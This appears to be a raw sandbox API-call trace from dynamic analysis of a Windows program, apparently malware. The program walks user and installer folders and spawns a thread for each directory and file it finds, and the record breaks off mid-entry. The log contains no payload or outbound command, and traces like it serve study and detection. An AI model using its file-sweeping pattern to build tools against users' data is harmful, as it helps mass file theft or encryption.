0x33e9750 [0062.493] wcscpy (in: _Dest=0x33e9750, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.493] wcscat (in: _Dest=0x33e9750, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.493] wcscat (in: _Dest=0x33e9750, _Source="SendTo" | out: _Dest="C:\\Users\\FD1HVy\\SendTo") returned="C:\\Users\\FD1HVy\\SendTo" [0062.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0062.494] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0062.494] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0062.494] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0062.494] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x36) returned 0x3433d68 [0062.494] wcscpy (in: _Dest=0x3433d68, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.494] wcscat (in: _Dest=0x3433d68, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.494] wcscat (in: _Dest=0x3433d68, _Source="Start Menu" | out: _Dest="C:\\Users\\FD1HVy\\Start Menu") returned="C:\\Users\\FD1HVy\\Start Menu" [0062.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433d68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0062.495] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x211de47b, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x211de47b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x211de47b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0062.495] wcscmp (_String1="Templates", _String2=".") returned 1 [0062.495] wcscmp (_String1="Templates", _String2="..") returned 1 [0062.495] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433aa8 [0062.495] wcscpy (in: _Dest=0x3433aa8, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.495] wcscat (in: _Dest=0x3433aa8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.495] wcscat (in: _Dest=0x3433aa8, _Source="Templates" | out: _Dest="C:\\Users\\FD1HVy\\Templates") returned="C:\\Users\\FD1HVy\\Templates" [0062.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433aa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0062.496] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dbc1028, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dbc1028, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0062.496] wcscmp (_String1="Videos", _String2=".") returned 1 [0062.496] wcscmp (_String1="Videos", _String2="..") returned 1 [0062.496] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33e97c0 [0062.496] wcscpy (in: _Dest=0x33e97c0, _Source="C:\\Users\\FD1HVy" | out: _Dest="C:\\Users\\FD1HVy") returned="C:\\Users\\FD1HVy" [0062.496] wcscat (in: _Dest=0x33e97c0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\") returned="C:\\Users\\FD1HVy\\" [0062.496] wcscat (in: _Dest=0x33e97c0, _Source="Videos" | out: _Dest="C:\\Users\\FD1HVy\\Videos") returned="C:\\Users\\FD1HVy\\Videos" [0062.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e97c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0062.497] FindNextFileW (in: hFindFile=0x33e02d8, lpFindFileData=0x3421c88 | out: lpFindFileData=0x3421c88*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5dbc1028, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5dbc1028, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0062.497] FindClose (in: hFindFile=0x33e02d8 | out: hFindFile=0x33e02d8) returned 1 [0062.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3421c88) returned 1 [0062.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc700) returned 1 [0062.497] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4c10) returned 1 [0062.497] RtlExitUserThread (Status=0x0) Thread: id = 31 os_tid = 0xcdc [0060.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x24) returned 0x33fc730 [0060.274] wcscpy (in: _Dest=0x33fc730, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0060.274] wcscat (in: _Dest=0x33fc730, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0060.274] wcscat (in: _Dest=0x33fc730, _Source="*" | out: _Dest="C:\\Users\\Public\\*") returned="C:\\Users\\Public\\*" [0060.274] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34220f0 [0060.274] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0358 [0060.274] wcscmp (_String1=".", _String2=".") returned 0 [0060.274] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.274] wcscmp (_String1="..", _String2=".") returned 1 [0060.274] wcscmp (_String1="..", _String2="..") returned 0 [0060.275] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccountPictures", cAlternateFileName="ACCOUN~1")) returned 1 [0060.275] wcscmp (_String1="AccountPictures", _String2=".") returned 1 [0060.275] wcscmp (_String1="AccountPictures", _String2="..") returned 1 [0060.275] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0060.275] wcscpy (in: _Dest=0x33fd310, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0060.275] wcscat (in: _Dest=0x33fd310, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0060.275] wcscat (in: _Dest=0x33fd310, _Source="AccountPictures" | out: _Dest="C:\\Users\\Public\\AccountPictures") returned="C:\\Users\\Public\\AccountPictures" [0062.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33fd310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518 [0062.462] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c3ce2c, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0062.462] wcscmp (_String1="Desktop", _String2=".") returned 1 [0062.462] wcscmp (_String1="Desktop", _String2="..") returned 1 [0062.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x30) returned 0x33e9408 [0062.462] wcscpy (in: _Dest=0x33e9408, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.462] wcscat (in: _Dest=0x33e9408, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.462] wcscat (in: _Dest=0x33e9408, _Source="Desktop" | out: _Dest="C:\\Users\\Public\\Desktop") returned="C:\\Users\\Public\\Desktop" [0062.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0062.463] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0062.463] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0062.463] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0062.463] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb1fb672c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb1fb672c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0062.463] wcscmp (_String1="Documents", _String2=".") returned 1 [0062.463] wcscmp (_String1="Documents", _String2="..") returned 1 [0062.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433fe8 [0062.463] wcscpy (in: _Dest=0x3433fe8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.463] wcscat (in: _Dest=0x3433fe8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.463] wcscat (in: _Dest=0x3433fe8, _Source="Documents" | out: _Dest="C:\\Users\\Public\\Documents") returned="C:\\Users\\Public\\Documents" [0062.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433fe8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x640 [0062.464] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466cad2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0062.464] wcscmp (_String1="Downloads", _String2=".") returned 1 [0062.464] wcscmp (_String1="Downloads", _String2="..") returned 1 [0062.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x34339a8 [0062.464] wcscpy (in: _Dest=0x34339a8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.464] wcscat (in: _Dest=0x34339a8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.464] wcscat (in: _Dest=0x34339a8, _Source="Downloads" | out: _Dest="C:\\Users\\Public\\Downloads") returned="C:\\Users\\Public\\Downloads" [0062.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x34339a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0062.465] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0062.465] wcscmp (_String1="Libraries", _String2=".") returned 1 [0062.465] wcscmp (_String1="Libraries", _String2="..") returned 1 [0062.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x34) returned 0x3433ca8 [0062.466] wcscpy (in: _Dest=0x3433ca8, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.466] wcscat (in: _Dest=0x3433ca8, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.466] wcscat (in: _Dest=0x3433ca8, _Source="Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries" [0062.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433ca8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0062.466] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0062.467] wcscmp (_String1="Music", _String2=".") returned 1 [0062.467] wcscmp (_String1="Music", _String2="..") returned 1 [0062.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2c) returned 0x33e9600 [0062.467] wcscpy (in: _Dest=0x33e9600, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.467] wcscat (in: _Dest=0x33e9600, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.467] wcscat (in: _Dest=0x33e9600, _Source="Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music" [0062.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0062.467] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0062.468] wcscmp (_String1="Pictures", _String2=".") returned 1 [0062.468] wcscmp (_String1="Pictures", _String2="..") returned 1 [0062.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x32) returned 0x3433c28 [0062.468] wcscpy (in: _Dest=0x3433c28, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.468] wcscat (in: _Dest=0x3433c28, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.468] wcscat (in: _Dest=0x3433c28, _Source="Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures" [0062.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3433c28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0062.468] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0062.469] wcscmp (_String1="Videos", _String2=".") returned 1 [0062.469] wcscmp (_String1="Videos", _String2="..") returned 1 [0062.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x2e) returned 0x33e9210 [0062.469] wcscpy (in: _Dest=0x33e9210, _Source="C:\\Users\\Public" | out: _Dest="C:\\Users\\Public") returned="C:\\Users\\Public" [0062.469] wcscat (in: _Dest=0x33e9210, _Source="\\" | out: _Dest="C:\\Users\\Public\\") returned="C:\\Users\\Public\\" [0062.469] wcscat (in: _Dest=0x33e9210, _Source="Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos" [0062.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33e9210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0062.469] FindNextFileW (in: hFindFile=0x33e0358, lpFindFileData=0x34220f0 | out: lpFindFileData=0x34220f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0062.470] FindClose (in: hFindFile=0x33e0358 | out: hFindFile=0x33e0358) returned 1 [0062.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34220f0) returned 1 [0062.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc730) returned 1 [0062.470] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4990) returned 1 [0062.470] RtlExitUserThread (Status=0x0) Thread: id = 32 os_tid = 0xd40 [0060.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3a) returned 0x33fcff8 [0060.276] wcscpy (in: _Dest=0x33fcff8, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0060.276] wcscat (in: _Dest=0x33fcff8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0060.276] wcscat (in: _Dest=0x33fcff8, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1025\\*") returned="C:\\588bce7c90097ed212\\1025\\*" [0060.276] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33ef748 [0060.276] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x33ef748 | out: lpFindFileData=0x33ef748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0098 [0060.283] wcscmp (_String1=".", _String2=".") returned 0 [0060.283] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33ef748 | out: lpFindFileData=0x33ef748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.283] wcscmp (_String1="..", _String2=".") returned 1 [0060.283] wcscmp (_String1="..", _String2="..") returned 0 [0060.283] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33ef748 | out: lpFindFileData=0x33ef748*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0060.283] wcscmp (_String1="eula.rtf", _String2=".") returned 1 [0060.283] wcscmp (_String1="eula.rtf", _String2="..") returned 1 [0060.283] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x33d2b68 [0060.283] wcscpy (in: _Dest=0x33d2b68, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0060.283] wcscat (in: _Dest=0x33d2b68, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0060.283] wcscat (in: _Dest=0x33d2b68, _Source="eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf" [0062.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33d2b68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530 [0062.448] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33ef748 | out: lpFindFileData=0x33ef748*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0062.448] wcscmp (_String1="LocalizedData.xml", _String2=".") returned 1 [0062.448] wcscmp (_String1="LocalizedData.xml", _String2="..") returned 1 [0062.448] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3426d28 [0062.448] wcscpy (in: _Dest=0x3426d28, _Source="C:\\588bce7c90097ed212\\1025" | out: _Dest="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025" [0062.448] wcscat (in: _Dest=0x3426d28, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\" [0062.448] wcscat (in: _Dest=0x3426d28, _Source="LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" [0062.448] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x630 [0062.448] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33ef748 | out: lpFindFileData=0x33ef748*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0062.448] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0062.449] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0062.449] FindNextFileW (in: hFindFile=0x33e0098, lpFindFileData=0x33ef748 | out: lpFindFileData=0x33ef748*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", 